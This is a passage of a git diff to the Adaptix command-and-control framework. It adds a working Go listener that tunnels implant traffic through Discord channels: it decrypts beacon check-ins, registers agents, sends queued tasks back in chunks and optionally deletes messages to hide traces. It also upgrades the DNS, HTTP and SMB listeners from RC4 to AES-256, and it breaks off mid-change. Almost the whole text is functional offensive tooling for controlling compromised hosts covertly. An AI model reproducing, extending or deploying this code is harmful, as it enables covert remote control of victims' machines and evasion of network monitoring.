+ax_file: "ax_config.axs"
+
+listener_name: "BeaconDiscord"
+listener_type: "external"
+protocol: "discord"
diff --git a/AdaptixServer/extenders/beacon_listener_discord/go.mod b/AdaptixServer/extenders/beacon_listener_discord/go.mod
new file mode 100644
index 000000000..7a5fead21
--- /dev/null
+++ b/AdaptixServer/extenders/beacon_listener_discord/go.mod
@@ -0,0 +1,5 @@
+module adaptix_listener_beacon_discord
+
+go 1.25.4
+
+require github.com/Adaptix-Framework/axc2 v1.2.0
diff --git a/AdaptixServer/extenders/beacon_listener_discord/go.sum b/AdaptixServer/extenders/beacon_listener_discord/go.sum
new file mode 100644
index 000000000..8889bb84d
--- /dev/null
+++ b/AdaptixServer/extenders/beacon_listener_discord/go.sum
@@ -0,0 +1,2 @@
+github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA=
+github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ=
diff --git a/AdaptixServer/extenders/beacon_listener_discord/pl_main.go b/AdaptixServer/extenders/beacon_listener_discord/pl_main.go
new file mode 100644
index 000000000..692c13b25
--- /dev/null
+++ b/AdaptixServer/extenders/beacon_listener_discord/pl_main.go
@@ -0,0 +1,243 @@
+package main
+
+import (
+ "bytes"
+ "encoding/hex"
+ "encoding/json"
+ "errors"
+ "fmt"
+ "regexp"
+
+ adaptix "github.com/Adaptix-Framework/axc2"
+)
+
+type Teamserver interface {
+ TsAgentIsExists(agentId string) bool
+ TsAgentCreate(agentCrc string, agentId string, beat []byte, listenerName string, ExternalIP string, Async bool) (adaptix.AgentData, error)
+ TsAgentProcessData(agentId string, bodyData []byte) error
+ TsAgentSetTick(agentId string, listenerName string) error
+ TsAgentGetHostedAll(agentId string, maxDataSize int) ([]byte, error)
+}
+
+type PluginListener struct{}
+
+var (
+ ModuleDir string
+ ListenerDataDir string
+ Ts Teamserver
+)
+
+func InitPlugin(ts any, moduleDir string, listenerDir string) adaptix.PluginListener {
+ ModuleDir = moduleDir
+ ListenerDataDir = listenerDir
+ Ts = ts.(Teamserver)
+ return &PluginListener{}
+}
+
+func (p *PluginListener) Create(name string, config string, customData []byte) (adaptix.ExtenderListener, adaptix.ListenerData, []byte, error) {
+ var (
+ listener *Listener
+ listenerData adaptix.ListenerData
+ conf ConfigDiscord
+ customdData []byte
+ err error
+ )
+
+ /// START CODE HERE
+
+ if customData == nil {
+ if err = validConfig(config); err != nil {
+ return nil, listenerData, customdData, err
+ }
+
+ err = json.Unmarshal([]byte(config), &conf)
+ if err != nil {
+ return nil, listenerData, customdData, err
+ }
+
+ conf.encryptKeyBytes, err = hex.DecodeString(conf.EncryptKey)
+ if err != nil {
+ return nil, listenerData, customdData, fmt.Errorf("invalid encrypt_key hex: %v", err)
+ }
+
+ } else {
+ err = json.Unmarshal(customData, &conf)
+ if err != nil {
+ return nil, listenerData, customdData, err
+ }
+
+ conf.encryptKeyBytes, err = hex.DecodeString(conf.EncryptKey)
+ if err != nil {
+ return nil, listenerData, customdData, fmt.Errorf("invalid encrypt_key hex: %v", err)
+ }
+ }
+
+ transport := &TransportDiscord{
+ Name: name,
+ Config: conf,
+ Active: false,
+ }
+
+ listenerData = adaptix.ListenerData{
+ BindHost: "discord",
+ BindPort: "0",
+ AgentAddr: conf.WebhookUrl,
+ Protocol: "discord",
+ Status: "Stopped",
+ }
+
+ var buffer bytes.Buffer
+ err = json.NewEncoder(&buffer).Encode(transport.Config)
+ if err != nil {
+ return nil, listenerData, customdData, err
+ }
+ customdData = buffer.Bytes()
+
+ listener = &Listener{transport: transport}
+
+ /// END CODE HERE
+
+ return listener, listenerData, customdData, nil
+}
+
+func (l *Listener) Start() error {
+
+ /// START CODE HERE
+
+ return l.transport.Start(Ts)
+
+ /// END CODE HERE
+}
+
+func (l *Listener) Edit(config string) (adaptix.ListenerData, []byte, error) {
+ var (
+ listenerData adaptix.ListenerData
+ conf ConfigDiscord
+ customdData []byte
+ err error
+ )
+
+ err = json.Unmarshal([]byte(config), &conf)
+ if err != nil {
+ return listenerData, customdData, err
+ }
+
+ /// START CODE HERE
+
+ l.transport.Config.WebhookUrl = conf.WebhookUrl
+ l.transport.Config.PollInterval = conf.PollInterval
+ l.transport.Config.Cleanup = conf.Cleanup
+
+ listenerData = adaptix.ListenerData{
+ BindHost: "discord",
+ BindPort: "0",
+ AgentAddr: l.transport.Config.WebhookUrl,
+ Status: "Listen",
+ }
+ if !l.transport.Active {
+ listenerData.Status = "Closed"
+ }
+
+ var buffer bytes.Buffer
+ err = json.NewEncoder(&buffer).Encode(l.transport.Config)
+ if err != nil {
+ return listenerData, customdData, err
+ }
+ customdData = buffer.Bytes()
+
+ /// END CODE HERE
+
+ return listenerData, customdData, nil
+}
+
+func (l *Listener) Stop() error {
+
+ /// START CODE HERE
+
+ return l.transport.Stop()
+
+ /// END CODE HERE
+}
+
+func (l *Listener) GetProfile() ([]byte, error) {
+ var buffer bytes.Buffer
+
+ /// START CODE HERE
+
+ // Return only what the beacon needs: webhook URL, channel IDs, poll interval, encrypt key
+ profile := map[string]any{
+ "protocol": "discord",
+ "webhook_url": l.transport.Config.WebhookUrl,
+ "bot_token": l.transport.Config.BotToken,
+ "channel_beacon": l.transport.Config.ChannelBeacon,
+ "channel_tasks_id": l.transport.Config.ChannelTasks,
+ "poll_interval": l.transport.Config.PollInterval,
+ "encrypt_key": l.transport.Config.EncryptKey,
+ "cleanup": l.transport.Config.Cleanup,
+ }
+
+ err := json.NewEncoder(&buffer).Encode(profile)
+ if err != nil {
+ return nil, err
+ }
+ /// END CODE HERE
+
+ return buffer.Bytes(), nil
+}
+
+func (l *Listener) InternalHandler(data []byte) (string, error) {
+ var agentId = ""
+
+ /// START CODE HERE
+
+ /// END CODE HERE
+
+ return agentId, nil
+}
+
+func validConfig(config string) error {
+ var conf ConfigDiscord
+ err := json.Unmarshal([]byte(config), &conf)
+ if err != nil {
+ return err
+ }
+
+ if conf.BotToken == "" {
+ return errors.New("bot_token is required")
+ }
+
+ if conf.ChannelBeacon == "" {
+ return errors.New("channel_beacon is required")
+ }
+ matchChan, _ := regexp.MatchString("^[0-9]+$", conf.ChannelBeacon)
+ if !matchChan {
+ return errors.New("channel_beacon must be a numeric Discord channel ID")
+ }
+
+ if conf.ChannelTasks == "" {
+ return errors.New("channel_tasks is required")
+ }
+ matchChan, _ = regexp.MatchString("^[0-9]+$", conf.ChannelTasks)
+ if !matchChan {
+ return errors.New("channel_tasks must be a numeric Discord channel ID")
+ }
+
+ if conf.WebhookUrl == "" {
+ return errors.New("webhook_url is required")
+ }
+ matchWebhook, _ := regexp.MatchString("^https://discord\\.com/api/webhooks/", conf.WebhookUrl)
+ if !matchWebhook {
+ return errors.New("webhook_url must be a valid Discord webhook URL")
+ }
+
+ if conf.PollInterval < 1 || conf.PollInterval > 60 {
+ return errors.New("poll_interval must be between 1 and 60 seconds")
+ }
+
+ match, _ := regexp.MatchString("^[0-9a-f]{64}$", conf.EncryptKey)
+ if len(conf.EncryptKey) != 64 || !match {
+ return errors.New("encrypt_key must be 64 hex characters (32 bytes for AES-256)")
+ }
+
+ return nil
+}
diff --git a/AdaptixServer/extenders/beacon_listener_discord/pl_transport.go b/AdaptixServer/extenders/beacon_listener_discord/pl_transport.go
new file mode 100644
index 000000000..3dc88fbfb
--- /dev/null
+++ b/AdaptixServer/extenders/beacon_listener_discord/pl_transport.go
@@ -0,0 +1,394 @@
+package main
+
+import (
+ "crypto/aes"
+ "crypto/cipher"
+ "encoding/base64"
+ "encoding/binary"
+ "encoding/json"
+ "errors"
+ "fmt"
+ "io"
+ "net/http"
+ "strings"
+ "sync"
+ "time"
+)
+
+type Listener struct {
+ transport *TransportDiscord
+}
+
+type ConfigDiscord struct {
+ BotToken string `json:"bot_token"`
+ ChannelBeacon string `json:"channel_beacon"`
+ ChannelTasks string `json:"channel_tasks"`
+ WebhookUrl string `json:"webhook_url"`
+ PollInterval int `json:"poll_interval"`
+ Cleanup bool `json:"cleanup"`
+ EncryptKey string `json:"encrypt_key"`
+
+ // Derived (not serialized to JSON)
+ encryptKeyBytes []byte `json:"-"`
+}
+
+type TransportDiscord struct {
+ Name string
+ Config ConfigDiscord
+ Active bool
+ stopChan chan struct{}
+ client *http.Client
+ mu sync.Mutex
+}
+
+// Discord API message structure
+type DiscordMessage struct {
+ Id string `json:"id"`
+ Content string `json:"content"`
+}
+
+// Discord API send message body
+type DiscordSendBody struct {
+ Content string `json:"content"`
+}
+
+const (
+ discordAPIBase = "https://discord.com/api/v10"
+ // Discord rate limit: 5 requests / 2 seconds per channel
+ apiDelay = 500 * time.Millisecond
+ // Max message content size (Discord limit is 2000 chars, base64 overhead ~33%)
+ maxMessageSize = 1900
+)
+
+func (t *TransportDiscord) Start(ts Teamserver) error {
+ t.mu.Lock()
+ defer t.mu.Unlock()
+
+ if t.Active {
+ return errors.New("transport already active")
+ }
+
+ // Decode encrypt key
+ var err error
+ if len(t.Config.encryptKeyBytes) == 0 {
+ return errors.New("encrypt key not initialized")
+ }
+
+ t.client = &http.Client{
+ Timeout: 30 * time.Second,
+ }
+
+ t.stopChan = make(chan struct{})
+ t.Active = true
+
+ fmt.Printf(" Started listener '%s': discord (beacon=%s, tasks=%s, poll=%ds)\n",
+ t.Name, t.Config.ChannelBeacon, t.Config.ChannelTasks, t.Config.PollInterval)
+
+ go t.pollLoop(ts)
+
+ _ = err
+ return nil
+}
+
+func (t *TransportDiscord) Stop() error {
+ t.mu.Lock()
+ defer t.mu.Unlock()
+
+ if !t.Active {
+ return nil
+ }
+
+ close(t.stopChan)
+ t.Active = false
+ fmt.Printf(" Stopped listener '%s': discord\n", t.Name)
+ return nil
+}
+
+func (t *TransportDiscord) pollLoop(ts Teamserver) {
+ ticker := time.NewTicker(time.Duration(t.Config.PollInterval) * time.Second)
+ defer ticker.Stop()
+
+ for {
+ select {
+ case <-t.stopChan:
+ return
+ case <-ticker.C:
+ t.pollMessages(ts)
+ }
+ }
+}
+
+func (t *TransportDiscord) pollMessages(ts Teamserver) {
+ messages, err := t.getMessages(t.Config.ChannelBeacon)
+ if err != nil {
+ fmt.Printf("[discord:%s] Error polling beacon channel: %v\n", t.Name, err)
+ return
+ }
+
+ for _, msg := range messages {
+ content := strings.TrimSpace(msg.Content)
+ if content == "" {
+ continue
+ }
+
+ t.processMessage(ts, msg)
+
+ // Rate limit delay between processing messages
+ time.Sleep(apiDelay)
+ }
+}
+
+func (t *TransportDiscord) processMessage(ts Teamserver, msg DiscordMessage) {
+ content := strings.TrimSpace(msg.Content)
+
+ // The beacon sends messages as: base64(beat_data) + "|" + base64(body_data)
+ // Using | separator instead of \n (newline breaks JSON content)
+ parts := strings.SplitN(content, "|", 2)
+ if len(parts) == 0 {
+ return
+ }
+
+ beatB64 := strings.TrimSpace(parts[0])
+ var bodyB64 string
+ if len(parts) > 1 {
+ bodyB64 = strings.TrimSpace(parts[1])
+ }
+
+ // Decode beat
+ beatCrypt, err := base64.StdEncoding.DecodeString(beatB64)
+ if err != nil || len(beatCrypt) < 5 {
+ fmt.Printf("[discord:%s] Failed to decode beat from message %s: %v\n", t.Name, msg.Id, err)
+ goto CLEANUP
+ }
+
+ {
+ agentType, agentId, beat, err := t.decryptBeat(beatCrypt)
+ if err != nil {
+ fmt.Printf("[discord:%s] Failed to decrypt beat from message %s: %v\n", t.Name, msg.Id, err)
+ goto CLEANUP
+ }
+
+ // Decode body data if present
+ var bodyData []byte
+ if bodyB64 != "" {
+ bodyData, err = base64.StdEncoding.DecodeString(bodyB64)
+ if err != nil {
+ fmt.Printf("[discord:%s] Failed to decode body from message %s: %v\n", t.Name, msg.Id, err)
+ goto CLEANUP
+ }
+ }
+
+ // Create agent if new
+ if !Ts.TsAgentIsExists(agentId) {
+ _, err = Ts.TsAgentCreate(agentType, agentId, beat, t.Name, "discord", true)
+ if err != nil {
+ fmt.Printf("[discord:%s] Failed to create agent %s: %v\n", t.Name, agentId, err)
+ goto CLEANUP
+ }
+ }
+
+ // Update tick
+ _ = Ts.TsAgentSetTick(agentId, t.Name)
+
+ // Process body data
+ if len(bodyData) > 0 {
+ _ = Ts.TsAgentProcessData(agentId, bodyData)
+ }
+
+ // Get pending tasks for this agent
+ responseData, err := Ts.TsAgentGetHostedAll(agentId, 0x1900000) // 25 MB
+ if err != nil {
+ fmt.Printf("[discord:%s] Failed to get tasks for agent %s: %v\n", t.Name, agentId, err)
+ goto CLEANUP
+ }
+
+ // Send tasks back via tasks channel
+ if len(responseData) > 0 {
+ encoded := base64.StdEncoding.EncodeToString(responseData)
+
+ // Discord messages have a 2000 char limit, split if needed
+ err = t.sendChunkedMessage(t.Config.ChannelTasks, encoded)
+ if err != nil {
+ fmt.Printf("[discord:%s] Failed to send tasks to agent %s: %v\n", t.Name, agentId, err)
+ }
+ }
+ }
+
+CLEANUP:
+ // Delete the processed message if cleanup is enabled
+ if t.Config.Cleanup {
+ time.Sleep(apiDelay)
+ err := t.deleteMessage(t.Config.ChannelBeacon, msg.Id)
+ if err != nil {
+ fmt.Printf("[discord:%s] Failed to delete message %s: %v\n", t.Name, msg.Id, err)
+ }
+ }
+}
+
+func (t *TransportDiscord) decryptBeat(ciphertext []byte) (string, string, []byte, error) {
+ block, err := aes.NewCipher(t.Config.encryptKeyBytes)
+ if err != nil {
+ return "", "", nil, errors.New("aes cipher error")
+ }
+
+ gcm, err := cipher.NewGCM(block)
+ if err != nil {
+ return "", "", nil, errors.New("gcm error")
+ }
+
+ nonceSize := gcm.NonceSize()
+ if len(ciphertext) < nonceSize+gcm.Overhead() {
+ return "", "", nil, errors.New("beat ciphertext too short")
+ }
+
+ nonce, ct := ciphertext[:nonceSize], ciphertext[nonceSize:]
+ plaintext, err := gcm.Open(nil, nonce, ct, nil)
+ if err != nil {
+ return "", "", nil, errors.New("aes-gcm decrypt error")
+ }
+
+ if len(plaintext) < 8 {
+ return "", "", nil, errors.New("beat plaintext too short")
+ }
+
+ agentType := uint(binary.BigEndian.Uint32(plaintext[:4]))
+ agentId := uint(binary.BigEndian.Uint32(plaintext[4:8]))
+ beat := plaintext[8:]
+
+ return fmt.Sprintf("%08x", agentType), fmt.Sprintf("%08x", agentId), beat, nil
+}
+
+// getMessages retrieves messages from a Discord channel using the Bot API
+func (t *TransportDiscord) getMessages(channelId string) ([]DiscordMessage, error) {
+ url := fmt.Sprintf("%s/channels/%s/messages?limit=50", discordAPIBase, channelId)
+
+ req, err := http.NewRequest("GET", url, nil)
+ if err != nil {
+ return nil, err
+ }
+
+ req.Header.Set("Authorization", "Bot "+t.Config.BotToken)
+ req.Header.Set("Content-Type", "application/json")
+
+ resp, err := t.client.Do(req)
+ if err != nil {
+ return nil, err
+ }
+ defer resp.Body.Close()
+
+ if resp.StatusCode == 429 {
+ // Rate limited, back off
+ return nil, errors.New("discord rate limited")
+ }
+
+ if resp.StatusCode != 200 {
+ body, _ := io.ReadAll(resp.Body)
+ return nil, fmt.Errorf("discord API error %d: %s", resp.StatusCode, string(body))
+ }
+
+ var messages []DiscordMessage
+ err = json.NewDecoder(resp.Body).Decode(&messages)
+ if err != nil {
+ return nil, err
+ }
+
+ return messages, nil
+}
+
+// sendMessage posts a message to a Discord channel using the Bot API
+func (t *TransportDiscord) sendMessage(channelId string, content string) error {
+ url := fmt.Sprintf("%s/channels/%s/messages", discordAPIBase, channelId)
+
+ body := DiscordSendBody{Content: content}
+ jsonBody, err := json.Marshal(body)
+ if err != nil {
+ return err
+ }
+
+ req, err := http.NewRequest("POST", url, strings.NewReader(string(jsonBody)))
+ if err != nil {
+ return err
+ }
+
+ req.Header.Set("Authorization", "Bot "+t.Config.BotToken)
+ req.Header.Set("Content-Type", "application/json")
+
+ resp, err := t.client.Do(req)
+ if err != nil {
+ return err
+ }
+ defer resp.Body.Close()
+
+ if resp.StatusCode == 429 {
+ return errors.New("discord rate limited")
+ }
+
+ if resp.StatusCode != 200 && resp.StatusCode != 201 {
+ respBody, _ := io.ReadAll(resp.Body)
+ return fmt.Errorf("discord API error %d: %s", resp.StatusCode, string(respBody))
+ }
+
+ return nil
+}
+
+// sendChunkedMessage splits a large message into Discord-compatible chunks
+// Each chunk is raw base64 (no prefix) — the beacon concatenates all chunks
+// in order (oldest first) and base64-decodes the result.
+// Chunks are split at 4-byte boundaries to keep valid base64.
+func (t *TransportDiscord) sendChunkedMessage(channelId string, content string) error {
+ if len(content) <= maxMessageSize {
+ return t.sendMessage(channelId, content)
+ }
+
+ // Split at base64-safe boundary (multiple of 4)
+ chunkSize := (maxMessageSize / 4) * 4 // round down to 4-byte boundary
+
+ for len(content) > 0 {
+ end := chunkSize
+ if end > len(content) {
+ end = len(content)
+ }
+
+ chunk := content[:end]
+ content = content[end:]
+
+ err := t.sendMessage(channelId, chunk)
+ if err != nil {
+ return fmt.Errorf("failed to send chunk: %v", err)
+ }
+
+ time.Sleep(apiDelay)
+ }
+
+ return nil
+}
+
+// deleteMessage removes a message from a Discord channel
+func (t *TransportDiscord) deleteMessage(channelId string, messageId string) error {
+ url := fmt.Sprintf("%s/channels/%s/messages/%s", discordAPIBase, channelId, messageId)
+
+ req, err := http.NewRequest("DELETE", url, nil)
+ if err != nil {
+ return err
+ }
+
+ req.Header.Set("Authorization", "Bot "+t.Config.BotToken)
+
+ resp, err := t.client.Do(req)
+ if err != nil {
+ return err
+ }
+ defer resp.Body.Close()
+
+ if resp.StatusCode == 429 {
+ return errors.New("discord rate limited")
+ }
+
+ // 204 No Content is the expected success response for DELETE
+ if resp.StatusCode != 204 && resp.StatusCode != 200 {
+ respBody, _ := io.ReadAll(resp.Body)
+ return fmt.Errorf("discord API error %d: %s", resp.StatusCode, string(respBody))
+ }
+
+ return nil
+}
diff --git a/AdaptixServer/extenders/beacon_listener_dns/ax_config.axs b/AdaptixServer/extenders/beacon_listener_dns/ax_config.axs
index b470c6816..27c9bc1fb 100644
--- a/AdaptixServer/extenders/beacon_listener_dns/ax_config.axs
+++ b/AdaptixServer/extenders/beacon_listener_dns/ax_config.axs
@@ -30,7 +30,7 @@ function ListenerUI(mode_create)
spinTTL.setValue(5);
let labelEncryptKey = form.create_label("Encryption Key:");
- let textEncryptKey = form.create_textline(ax.random_string(32, "hex"));
+ let textEncryptKey = form.create_textline(ax.random_string(64, "hex"));
textEncryptKey.setEnabled(mode_create);
let buttonEncryptKey = form.create_button("Generate");
buttonEncryptKey.setEnabled(mode_create);
@@ -50,7 +50,7 @@ function ListenerUI(mode_create)
spinBurstJitter.setValue(0);
spinBurstJitter.setEnabled(false);
- form.connect(buttonEncryptKey, "clicked", function() { textEncryptKey.setText(ax.random_string(32, "hex")); });
+ form.connect(buttonEncryptKey, "clicked", function() { textEncryptKey.setText(ax.random_string(64, "hex")); });
form.connect(checkBurstEnabled, "stateChanged", function() {
if(spinBurstSleep.getEnabled()) {
spinBurstSleep.setEnabled(false);
diff --git a/AdaptixServer/extenders/beacon_listener_dns/pl_transport.go b/AdaptixServer/extenders/beacon_listener_dns/pl_transport.go
index 68e5e0363..919cc7cab 100644
--- a/AdaptixServer/extenders/beacon_listener_dns/pl_transport.go
+++ b/AdaptixServer/extenders/beacon_listener_dns/pl_transport.go
@@ -4,7 +4,8 @@ import (
"bytes"
"compress/zlib"
"context"
- "crypto/rc4"
+ "crypto/aes"
+ "crypto/cipher"
"encoding/base32"
"encoding/base64"
"encoding/binary"
@@ -76,9 +77,8 @@ func validConfig(config string) error {
return errors.New("domain is required")
}
- keyLen := len(conf.EncryptKey)
- if keyLen < 6 || keyLen > 32 {
- return errors.New("encrypt_key must be 6-32 characters")
+ if len(conf.EncryptKey) != 64 {
+ return errors.New("encrypt_key must be 64 hex characters (32 bytes for AES-256)")
}
return nil
@@ -263,17 +263,27 @@ func (t *TransportDNS) handleHI(req *dnsRequest, w dns.ResponseWriter) {
}
keyBytes, err := hex.DecodeString(t.Config.EncryptKey)
- if err != nil || len(keyBytes) != 16 {
+ if err != nil || len(keyBytes) != 32 {
return
}
- cipher, err := rc4.NewCipher(keyBytes)
+ block, err := aes.NewCipher(keyBytes)
+ if err != nil {
+ return
+ }
+ gcm, err := cipher.NewGCM(block)
+ if err != nil {
+ return
+ }
+ nonceSize := gcm.NonceSize()
+ if len(req.data) < nonceSize+gcm.Overhead() {
+ return
+ }
+ nonce, ciphertext := req.data[:nonceSize], req.data[nonceSize:]
+ fullBeat, err := gcm.Open(nil, nonce, ciphertext, nil)
if err != nil {
return
}
-
- fullBeat := make([]byte, len(req.data))
- cipher.XORKeyStream(fullBeat, req.data)
if len(fullBeat) < 8 {
return
@@ -303,7 +313,7 @@ func (t *TransportDNS) handleHB(req *dnsRequest) (needsReset bool, hasPendingTas
}
t.mu.Unlock()
- decrypted := rc4Crypt(req.data, t.Config.EncryptKey)
+ decrypted := aes256CTRStream(req.data, t.Config.EncryptKey)
var ackOffset, ackTaskNonce uint32
if len(decrypted) >= 4 {
@@ -346,7 +356,7 @@ func (t *TransportDNS) handleGET(req *dnsRequest, w dns.ResponseWriter) []byte {
_ = Ts.TsAgentSetTick(req.sid, t.Name)
}
- decrypted := rc4Crypt(req.data, t.Config.EncryptKey)
+ decrypted := aes256CTRStream(req.data, t.Config.EncryptKey)
var reqOffset uint32
if len(decrypted) >= 4 {
@@ -398,7 +408,7 @@ func (t *TransportDNS) handlePUT(req *dnsRequest) putAckInfo {
}
t.mu.Unlock()
- decrypted := rc4Crypt(req.data, t.Config.EncryptKey)
+ decrypted := aes256CTRStream(req.data, t.Config.EncryptKey)
ack = t.handlePutFragment(req.sid, req.seq, decrypted, ack)
if req.sid != "" {
@@ -710,7 +720,7 @@ func (t *TransportDNS) buildDataResponse(req *dnsRequest, frame []byte, ttl uint
}
}
- encrypted := rc4Crypt(frame, t.Config.EncryptKey)
+ encrypted := aes256CTRStream(frame, t.Config.EncryptKey)
b64Str := base64.StdEncoding.EncodeToString(encrypted)
var chunks []string
@@ -957,21 +967,24 @@ func newUpDone(total uint32) *dnsUpDone {
return ud
}
-// Utility Functions
-func rc4Crypt(data []byte, keyHex string) []byte {
+// AES-256-CTR stream cipher matching C++ CryptAES256Stream
+func aes256CTRStream(data []byte, keyHex string) []byte {
if len(data) == 0 {
return data
}
keyBytes, err := hex.DecodeString(keyHex)
- if err != nil || len(keyBytes) != 16 {
+ if err != nil || len(keyBytes) != 32 {
return data
}
- cipher, err := rc4.NewCipher(keyBytes)
+ block, err := aes.NewCipher(keyBytes)
if err != nil {
return data
}
+ ctr := make([]byte, aes.BlockSize)
+ ctr[15] = 1
+ stream := cipher.NewCTR(block, ctr)
result := make([]byte, len(data))
- cipher.XORKeyStream(result, data)
+ stream.XORKeyStream(result, data)
return result
}
diff --git a/AdaptixServer/extenders/beacon_listener_http/ax_config.axs b/AdaptixServer/extenders/beacon_listener_http/ax_config.axs
index a71e75cee..7dfd53f8f 100644
--- a/AdaptixServer/extenders/beacon_listener_http/ax_config.axs
+++ b/AdaptixServer/extenders/beacon_listener_http/ax_config.axs
@@ -38,7 +38,7 @@ function ListenerUI(mode_create)
let textlineHB = form.create_textline("X-Beacon-Id");
let labelEncryptKey = form.create_label("Encryption key:");
- let textlineEncryptKey = form.create_textline(ax.random_string(32, "hex"));
+ let textlineEncryptKey = form.create_textline(ax.random_string(64, "hex"));
textlineEncryptKey.setEnabled(mode_create)
let buttonEncryptKey = form.create_button("Generate");
buttonEncryptKey.setEnabled(mode_create)
@@ -56,7 +56,7 @@ function ListenerUI(mode_create)
ssl_group.setPanel(panel_group);
ssl_group.setChecked(false);
- form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(32, "hex") ); });
+ form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(64, "hex") ); });
let layoutMain = form.create_gridlayout();
layoutMain.addWidget(labelHost, 0, 0, 1, 1);
diff --git a/AdaptixServer/extenders/beacon_listener_http/pl_transport.go b/AdaptixServer/extenders/beacon_listener_http/pl_transport.go
index ee9ad6bda..b49f2434d 100644
--- a/AdaptixServer/extenders/beacon_listener_http/pl_transport.go
+++ b/AdaptixServer/extenders/beacon_listener_http/pl_transport.go
@@ -3,8 +3,9 @@ package main
import (
"bytes"
"context"
+ "crypto/aes"
+ "crypto/cipher"
"crypto/rand"
- "crypto/rc4"
"crypto/rsa"
"crypto/tls"
"crypto/x509"
@@ -145,9 +146,9 @@ func validConfig(config string) error {
return errors.New("user_agent is required")
}
- match, _ := regexp.MatchString("^[0-9a-f]{32}$", conf.EncryptKey)
- if len(conf.EncryptKey) != 32 || !match {
- return errors.New("encrypt_key must be 32 hex characters")
+ match, _ := regexp.MatchString("^[0-9a-f]{64}$", conf.EncryptKey)
+ if len(conf.EncryptKey) != 64 || !match {
+ return errors.New("encrypt_key must be 64 hex characters (32 bytes for AES-256)")
}
if !strings.Contains(conf.WebPageOutput, "<<>>") {
@@ -417,12 +418,23 @@ func (t *TransportHTTP) parseBeatAndData(ctx *gin.Context) (string, string, []by
if err != nil {
return "", "", nil, nil, errors.New("failed decrypt beat")
}
- rc4crypt, errcrypt := rc4.NewCipher(encKey)
- if errcrypt != nil {
- return "", "", nil, nil, errors.New("rc4 decrypt error")
+ block, err := aes.NewCipher(encKey)
+ if err != nil {
+ return "", "", nil, nil, errors.New("aes cipher error")
+ }
+ gcm, err := cipher.NewGCM(block)
+ if err != nil {
+ return "", "", nil, nil, errors.New("gcm error")
+ }
+ nonceSize := gcm.NonceSize()
+ if len(agentInfoCrypt) < nonceSize+gcm.Overhead() {
+ return "", "", nil, nil, errors.New("ciphertext too short")
+ }
+ nonce, ciphertext := agentInfoCrypt[:nonceSize], agentInfoCrypt[nonceSize:]
+ agentInfo, err = gcm.Open(nil, nonce, ciphertext, nil)
+ if err != nil {
+ return "", "", nil, nil, errors.New("gcm decrypt error")
}
- agentInfo = make([]byte, len(agentInfoCrypt))
- rc4crypt.XORKeyStream(agentInfo, agentInfoCrypt)
agentType = uint(binary.BigEndian.Uint32(agentInfo[:4]))
agentInfo = agentInfo[4:]
diff --git a/AdaptixServer/extenders/beacon_listener_smb/ax_config.axs b/AdaptixServer/extenders/beacon_listener_smb/ax_config.axs
index adb5686b7..178cb859d 100644
--- a/AdaptixServer/extenders/beacon_listener_smb/ax_config.axs
+++ b/AdaptixServer/extenders/beacon_listener_smb/ax_config.axs
@@ -11,14 +11,14 @@ function ListenerUI(mode_create)
}
let labelEncryptKey = form.create_label("Encryption key:");
- let textlineEncryptKey = form.create_textline(ax.random_string(32, "hex"));
+ let textlineEncryptKey = form.create_textline(ax.random_string(64, "hex"));
textlineEncryptKey.setEnabled(mode_create)
let buttonEncryptKey = form.create_button("Generate");
buttonEncryptKey.setEnabled(mode_create)
let spacer2 = form.create_vspacer()
- form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(32, "hex") ); });
+ form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(64, "hex") ); });
let layout = form.create_gridlayout();
layout.addWidget(spacer1, 0, 0, 1, 3);
diff --git a/AdaptixServer/extenders/beacon_listener_smb/pl_main.go b/AdaptixServer/extenders/beacon_listener_smb/pl_main.go
index 922a423b9..ad36b64fd 100644
--- a/AdaptixServer/extenders/beacon_listener_smb/pl_main.go
+++ b/AdaptixServer/extenders/beacon_listener_smb/pl_main.go
@@ -2,7 +2,8 @@ package main
import (
"bytes"
- "crypto/rc4"
+ "crypto/aes"
+ "crypto/cipher"
"encoding/binary"
"encoding/hex"
"encoding/json"
@@ -164,13 +165,23 @@ func (l *Listener) InternalHandler(data []byte) (string, error) {
if err != nil {
return "", err
}
- rc4crypt, err := rc4.NewCipher(encKey)
+ block, err := aes.NewCipher(encKey)
+ if err != nil {
+ return "", err
+ }
+ gcm, err := cipher.NewGCM(block)
+ if err != nil {
+ return "", err
+ }
+ nonceSize := gcm.NonceSize()
+ if len(data) < nonceSize+gcm.Overhead() {
+ return "", fmt.Errorf("ciphertext too short")
+ }
+ nonce, ciphertext := data[:nonceSize], data[nonceSize:]
+ agentInfo, err := gcm.Open(nil, nonce, ciphertext, nil)
if err != nil {
return "", err
}
-
- agentInfo := make([]byte, len(data))
- rc4crypt.XORKeyStream(agentInfo, data)
agentType := fmt.Sprintf("%08x", uint(binary.BigEndian.Uint32(agentInfo[:4])))
agentInfo = agentInfo[4:]
diff --git a/AdaptixServer/extenders/beacon_listener_smb/pl_transport.go b/AdaptixServer/extenders/beacon_listener_smb/pl_transport.go
index 5087af2b2..797407bf2 100644
--- a/AdaptixServer/extenders/beacon_listener_smb/pl_transport.go
+++ b/AdaptixServer/extenders/beacon_listener_smb/pl_transport.go
@@ -34,9 +34,9 @@ func validConfig(config string) error {
return errors.New("Pipename invalid")
}
- match, _ := regexp.MatchString("^[0-9a-f]{32}$", conf.EncryptKey)
- if len(conf.EncryptKey) != 32 || !match {
- return errors.New("encrypt_key must be 32 hex characters")
+ match, _ := regexp.MatchString("^[0-9a-f]{64}$", conf.EncryptKey)
+ if len(conf.EncryptKey) != 64 || !match {
+ return errors.New("encrypt_key must be 64 hex characters (32 bytes for AES-256)")
}
return nil
diff --git a/AdaptixServer/extenders/beacon_listener_tcp/ax_config.axs b/AdaptixServer/extenders/beacon_listener_tcp/ax_config.axs
index 83c28ae4f..9b58ee067 100644
--- a/AdaptixServer/extenders/beacon_listener_tcp/ax_config.axs
+++ b/AdaptixServer/extenders/beacon_listener_tcp/ax_config.axs
@@ -15,14 +15,14 @@ function ListenerUI(mode_create)
textlinePrepend.setEnabled(mode_create)
let labelEncryptKey = form.create_label("Encryption key:");
